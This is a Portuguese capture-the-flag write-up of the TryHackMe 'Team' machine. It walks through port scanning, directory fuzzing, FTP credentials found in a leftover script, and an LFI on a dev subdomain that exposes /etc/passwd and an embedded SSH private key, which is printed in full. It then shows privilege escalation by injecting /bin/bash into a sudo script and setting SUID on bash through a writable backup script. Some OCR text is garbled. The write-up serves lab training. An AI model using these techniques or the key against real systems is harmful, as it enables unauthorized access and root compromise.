Teamcw

IP: 10.10.34.4

Executando um nmap menos barulhento:

```
(root kali) - [~]
# nmap -sS 10.10.34.47
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-10 03:28 EDT
Nmap scan report for 10.10.34.47
Host is up (0.23s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 14.51 seconds

(root kali) - [~]
# ■
```

```
nmap -A 10.10.34.47
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-10 03:42 EDT
Nmap scan report for 10.10.34.47
Host is up (0.23s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp
22/tcp open ssh
                                 vsftpd 3.0.3
                                 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  ssh-hostkey:
      2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
      256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
      256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Apache/2.4.29 (Ubuntu)
| http-title: Apache/2.4.29 (Ubuntu Default Page: It works! If you see this add 'te...
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (92%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.1
7) (87%), Adtran 424RG FTTH gateway (86%), Linux 2.6.32 (86%) No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT
                     ADDRESS
      229.86 ms 10.9.0.1
      230.24 ms 10.10.34.47
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.67 seconds
             🐼 kali) - [~]
```

WEB:



Apache2 Ubuntu Default Page

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at /var/www/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Ubuntu tools. The configuration system is **fully documented in /usr/share/doc/apache2/README.Debian.gz**. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the **manual** if the apache2-doc package was installed on this server.


The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

```
/etc/apache2/
|-- apache2.conf
| `-- ports.conf
|-- mods-enabled
| |-- *.load
| `-- *.conf
|-- conf-enabled
| `-- *.conf
|-- sites-enabled
| `-- *.conf
```

 apache2.conf is the main configuration file. It puts the pieces together by including all remaining configuration files when starting up the web server.

narte conflic always included from the main configuration file. It is used to determine the

infos sensiveis:




Not Found

The requested URL was not found on this server.


Apache/2.4.29 (Ubuntu) Server at 10.10.34.47 Port 80

```
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF 8" />
    <title>Apache2 Ubuntu Default Page: It works! If you see this add 'team.thm' to your hosts!</title>
    <style type="text/css" media="screen">
* {
    margin: Opx Opx Opx Opx;
```

adicionei o host no /etc/hosts, com isso consegui acesso ao site interno (expossição de dados sensiveis ?)



usando o gobuser nesse novo acesso:



executando um fuzzing no diretorio /scripts

gobuster dir -u team.thm/scripts/ -w ~/Pentest/Wordlists/dirbuster/directory-lis Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@ FireFart) +] Url: http://team.thm/scripts/ +] Threads: 10 +] Wordlist: /root/Pentest/Wordlists/dirbuster/directory-list-2.3-medium.txt +] Status codes: 200,204,301,302,307,401,403 +] User Agent: gobuster/3.0.1 +] Extensions: php, html, txt, sh +] Timeout: 10s 2021/04/12 21:16:36 Starting gobuster /script.txt (Status: 200) Progress: 1786 / 220561 (0.81%)^C [!] Keyboard interrupt detected, terminating. 2021/04/12 21:20:09 Finished -(<u>root</u>⊗ kali)-[~]

Found	Response	Size
/scripts/	403	441
/scripts/script.txt	200	871
	/scripts/	/scripts/ 403

```
#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest folder="/home/username/linux/dest folder/"
```

Updated version of the script

ftp -in \$ftp server <<END SCRIPT

quote USER \$ftp_username
quote PASS \$decrypt
cd \$source_folder
!cd \$dest_folder


mget -R * quit

Note to self had to change the extension of the old "script" in this folder, as it has creds in

tentei baixar o script.old e funcionou, com isso foi possivel ter o conhecimento das credencias do FTP

existem diretorios com o index off habilitado:

http://team.thm/images/




Index of /images

<u>Name</u>	<u>Last modified</u>	<u>Size</u> <u>Description</u>
Parent Directory		-
<u>avatar.jpg</u>	2021-01-15 20:00	14K
<u>bg.jpg</u>	2021-01-15 20:00	71K
fulls/	2021-01-15 20:00	-
thumbs/	2021-01-15 20:00	-

Apache/2.4.29 (Ubuntu) Server at team.thm Port 80

existem algumas imagens bem pesadas, estou baixando elas para verificar se nelas tem alguma coisa escondida

lendo o robots.txt



que coisa estranha esse "dale"


FTP: login como anonymous não permitido:

```
(root@ kali)-[~]
# ftp 10.10.34.47
Connected to 10.10.34.47.
220 (vsFTPd 3.0.3)
Name (10.10.34.47:root): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp>
```


login no ftp com as credenciasi encontradas em team.th/scripts/script.old

```
ftp 10.10.84.26
Connected to 10.10.84.26.
220 (vsFTPd 3.0.3)
Name (10.10.84.26:root): ftpuser
B31 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Jsing binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
             2 65534
drwxrwxr-x
                                      4096 Jan 15 21:25 workshare
                        65534
226 Directory send OK.
ftp> ls -lha
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 5 65534
                        65534
                                      4096 Jan 15 21:25 .
            5 65534
drwxr-xr-x
                        65534
                                      4096 Jan 15 21:25 ...
           1 1002
1 1002
                                      220 Apr 04 2018 .bash logout
                        1002
-rw-r--r--
                                      3771 Apr 04 2018 .bashrc
rw-r--r--
                        1002
                                     4096 Jan 15 21:22 .local
            3 1002
                        1002
drwxrwxr-x
           1 1002
                                      807 Apr 04 2018 .profile
-rw-r--r--
                        1002
drwx----
            2 1002
                        1002
                                     4096 Jan 15 21:24 .ssh
drwxrwxr-x 2 65534
                                     4096 Jan 15 21:25 workshare
                        65534
226 Directory send OK.
ftp> cd workshare
250 Directory successfully changed.
ftp> ls -lha
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 2 65534
                                      4096 Jan 15 21:25 .
                        65534
           5 65534
                        65534
                                     4096 Jan 15 21:25 ...
drwxr-xr-x
            1 1002
                                      269 Jan 15 21:24 New site.txt
                        1002
-rwxr-xr-x
226 Directory send OK.
ftp> get New site.txt
local: New site.txt remote: New site.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for New site.txt (269 bytes).
```

Foi possivel encontrar dois possiveis usuarios no arquivo New_sites.txt, e a informação de um subdomino "dev":




Acesso a esse subdominio interno:



Site is being built

Place holder link to team share

O parametro page parece ser vulneravel a LFI:



Place holder for future team share

Testando essa vulnerabilidade



```
2 root:x:0:0:root:/root:/bin/bash
 3 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 4 bin:x:2:2:bin:/bin:/usr/sbin/nologin
5 sys:x:3:3:sys:/dev:/usr/sbin/nologin
6 sync:x:4:65534:sync:/bin:/bin/sync
 7 games:x:5:60:games:/usr/games:/usr/sbin/nologin
8 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
9 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
18 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20 systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
21 systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
22 syslog:x:102:106::/home/syslog:/usr/sbin/nologin
23 messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
   _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
25 lxd:x:105:65534::/var/lib/lxd/:/bin/false
26 uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
27 dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
28 landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
29 pollinate:x:109:1::/var/cache/pollinate:/bin/false
30 dale:x:1000:1000:anon,,,:/home/dale:/bin/bash
31 gyles:x:1001:1001::/home/gyles:/bin/bash
32 ftpuser:x:1002:1002::/home/ftpuser:/bin/sh
33 ftp:x:110:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
34 sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
```

chave de acesso SSH em /etc/ssh/ssh config

```
🔏 view-source:http://dev.team.thm/script.php?page=/etc/ssh/sshd_config
🛕 Kali Linux 🥄 Kali Tools 🂆 Kali Docs 🥄 Kali Forums 🛝 NetHunter 👖 Offensive Security 🝬 Exploit-DB
116 # override default of no subsystems
117 Subsystem
                       /usr/lib/openssh/sftp-server
               sftp
119 # Example of overriding settings on a per-user basis
120 #Match User anoncvs
121 #
       X11Forwarding no
122 #
       AllowTcpForwarding no
123 #
       PermitTTY no
124 #
       ForceCommand cvs server
126 AllowUsers dale gyles
130 #Dale id rsa
131 #----BEGIN OPENSSH PRIVATE KEY-----
132 #b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAABAAABlwAAAAdzc2gtcn
133 #NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
134 #NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
135 #oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
136 #o9WqHhL5XS8lYu/fy5VAYOfJ0pyTh8IdhFUuAzfuC+fj0BcQ6ePFhxEF6WaNCSpK2v+qxP
137 #zMUILQdztr8WhURTxua0Q0IxQ2xJ+zWDKMiynzJ/lzwmI4Ei0Kj1/nh/w7I8rk6jBjaqAu
138 #k5xum0xPnyWAGiM0X0BSfgaU+eADcaGfwSF1a0gI8G/TtJfbcW33gnwZBVhc30uLG8JoKS
139 #xtAlJ4yRazjEqK8hU8FUvowsGGls+trkxBYgceWwJFUudYjBq2NbX2glKz52vqFZdbAa1S
140 #0soiabHiuwd+3N/ygsSuDhOhKIg4MWH6VeJcSMIrAAAFkNt4pcTbeKXEAAAAB3NzaClyc2
141 #EAAAGBAJ40ijEx985vuq6nkM5+RywY4K7qfZNq1/13cwq+o73RSyfrh+GVRDVJG4uVlDnU
142 #eKHJOHRY5NN19Ww7IWorABUSSZIFKtfszSfqfemSBCrZvd2mMt/mIIJYjf1qBvkT6j/D+v
143 #7n5VNH7cZBx0eB9S5dNx2zftB+CTPyJ177s+FPQ39PZvfSWIug1c0VxrGliqPVqh4S+V0v
144 #JWLv38uVQGDnydKck4fCHYRVLgM37gvn49AXEOnjxYcRBelmjQkqStr/qsT8zFCC0Hc7a/
145 #FoVEU8bmjkDiMUNsSfslgyjIsp8yf5c8Ji0BIjio9f54f80yPK50owY2qgLp0cbpjsT58l
146 #gBojNFzgUn4GlPngA3Ghn8EhdWtICPBv07SX23Ft94J8GQVYXN9LixvCaCksbQNSeMkWs4
147 #xKivIVPBVL6MLBhpbPra5MQWIHHlsCRVLnWIwatjW19oJSs+dr6hWXWwGtUtLKImmx4rsH
148 #ftzf8oLErg4ToSiIODFh+lXiXEjCKwAAAAMBAAEAAAGAGQ9nG8u3ZbTTXZPV4tekwzoijb
149 #esUW5UVqzUwbReU99WUjsG7V50VRqFUolh2hV1FvnHiLL7fQer5QAvGR0+QxkGLy/AjkH0
150 #eXC1jA4JuR2S/Ay47kUXjHMr+C0Sc/WTY47YQghUlPLHoXKWHLq/PB2tenkWN0p0fRb85R
151 #N1ftjJc+sMAWkJfwH+QqeBvHLp23YqJeCORxcNj3VG/4lnjrXRiyImRhUiBvRWek4o4Rxq
152 #Q4MUvHDPxc20KWaIIBbjTbErxACPU3fJSy4MfJ69dwpvePtieFsFQEoJopkEMn1Gkf1Hyi
153 #U2lCuU7CZtIIjKLh90AT5eMVAntnGlK4H5U01Vz9Z27ZsOy1Rt5svnhU6X6Pldn6iPqGBW
154 #/vS5rOqadSFUnoBrE+Cnul2cyLWyKnV+FQHD6YnAU2SXa8dDDlp204qGAJZrOKukXGIdiz
155 #82aDTaCV/RkdZ2YCb53IWyRw27EniWd06NvMXG8pZQKwUI2B7wljdgm3ZB6fYNFUv5AAAA
156 #wQC5Tzei2ZXPj5yN7EgrQk16vUivWP9p6S8KUxHVBvqdJDoQqr8IiPovs9EohFRA3M3h0q
157 #z+zdN4wIKHMdAg@yaJUUj9WqSwj9ItqNtDxkXpXkfSSgXrfaLz3yXPZTTdvpah+WP5S8u6
158 #RuSnARrKjqkXT6bKyfGeIVnIpHjUf5/rrnb/QqHyE+AnWGDNQY9HH36qTyMEJZGV/zeBB7
159 #/ocepv6U5HWlqFB+SCcuhCfkeqFif8M7O39K1UUkN6PWb4/IoAAADBAMuCxRbJE9A7sxzx
160 #sQD/wqj5cQx+HJ82QXZBtw09cTtxrL1g10DGDK01H+pmWDkuSTcKG0XeU8AzMoM9Jj00Db
161 #mPZgp7FnSJDPbeX6an/WzWWibc5DGCmM5VTIkrWdXuuyanEw8CMHUZCMYsltfbzeexKiur
162 #4fu7GSqPx30NEVfArs2LEqW5Bs/bc/rbZ0UI7/ccfVvHV3qtuNv3ypX4BuQXCkMuDJoBfg
163 #e9VbKXq7fLF28FxaYlXn25WmXpBHPPdwAAAMEAxtKShv88h0vmaeY0xpqqMN9rjPXvDs5S
164 #2BRGRq22JACuTYdMF0NqWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZle0MMIH
165 #8kUREDVyzqbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPu0qX
166 #blwrZt/BTpIg+d+Fc5/W/k7/9abnt30BQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7
167 #CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH
168 #----END OPENSSH PRIVATE KEY-----
```

copiei a chave e usei uma ide para retirar as "#" então coloquei dentro de um arquivo id_rsa, executei um "chmod 600 id_rsa" e após isso fiz login no SSH com o usuário dale:

```
(root@ kali) - [~/Pentest/Labs/TryHackMe/Teamcw]
 —# ls -lha
total 7.9M
drwxr-xr-x 2 root root 4.0K Apr 12 21:47
drwxr-xr-x 14 root root 4.0K Apr 10 03:04
-rw-r--r-- 1 root root 284K Jan 15 15:00 05.jpg
-rw----- 1 root root 2.6K Apr 12 21:47 id rsa
-rw-r--r-- 1 root root 222 Apr 12 21:19 known hosts
           1 root root 269 Apr 12 21:15 New_site.txt
           1 root root 807 Apr 12 21:19 .profile
           1 root root 466 Apr 12 21:11 script.old
-rw-r--r--
-rw-r--r-- 1 root root 2.0M Apr 12 21:43 Teamcw.ctb
-rw-r--r-- 1 root root 2.0M Apr 12 21:43 Teamcw.ctb~
-rw-r--r-- 1 root root 1.8M Apr 12 21:42 Teamcw.ctb~~
-rw-r--r-- 1 root root 1.8M Apr 12 21:27 Teamcw.ctb~~~
  -(root@kali)-[~/Pentest/Labs/TryHackMe/Teamcw]
 # ssh dale@10.10.84.26 -i id rsa
Last login: Mon Jan 18 10:51:32 2021
dale@TEAM:~$ ls
user.txt
dale@TEAM:~$ cat user.txt
dale@TEAM:~$
```

Hora de Realizar o privilege escalation, existe um script com permissoes erradas que pode ser utilizado para isso:

```
dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
    env reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks
dale@TEAM:~$ ls -lha /home/gyles/admin_checks
-rwxr--r-- 1 gyles editors 399 Jan 15 21:52 /home/gyles/admin_checks
dale@TEAM:~$ cat /home/gyles/admin_checks
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
```

utilizando do script com permissoes erradas para pegar uma shell com o usuário gyles

```
rw-rw-r-- I date date
                         1/ Jan is 21:30 user.txt
dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/sbin\:/shin\:/snap/bin
User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin checks
dale@TEAM:~$ sudo -u /home/gyles/admin_checks
sudo: unknown user: /home/gyles/admin_checks
sudo: unable to initialize policy plugin
dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: anon
Enter 'date' to timestamp the file: /bin/bash
The Date is is
ls
user.txt
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
```

utilizando essa nova shell foi possivel encontrar um outro arquivo com permissoes erradas, onde é possivel fazer uma exploração

na qual se baseia em alterar as permissoes de /bin/bash para ter acesso de root:

```
ls -lha
total 12K
drwxrwxr-x 2 root admin 4.0K Jan 17 20:36 .
drwxr-xr-x 10 root root 4.0K Jan 15 19:49 ..
-rwxrwxr-x 1 root admin 84 Apr 13 03:21 main_backup.sh
cat main_backup.sh
#!/bin/bash
cp -r /var/www/team.thm/* /var/backups/www/team.thm/
chmod +s /bin/bash
/bin/bash -p
id
uid=1001(gyles) gid=1001(gyles) euid=0(root) egid=0(root) groups=0(root),1001(gyles),1003(editors),1004(admin)
cat /root/root.txt
```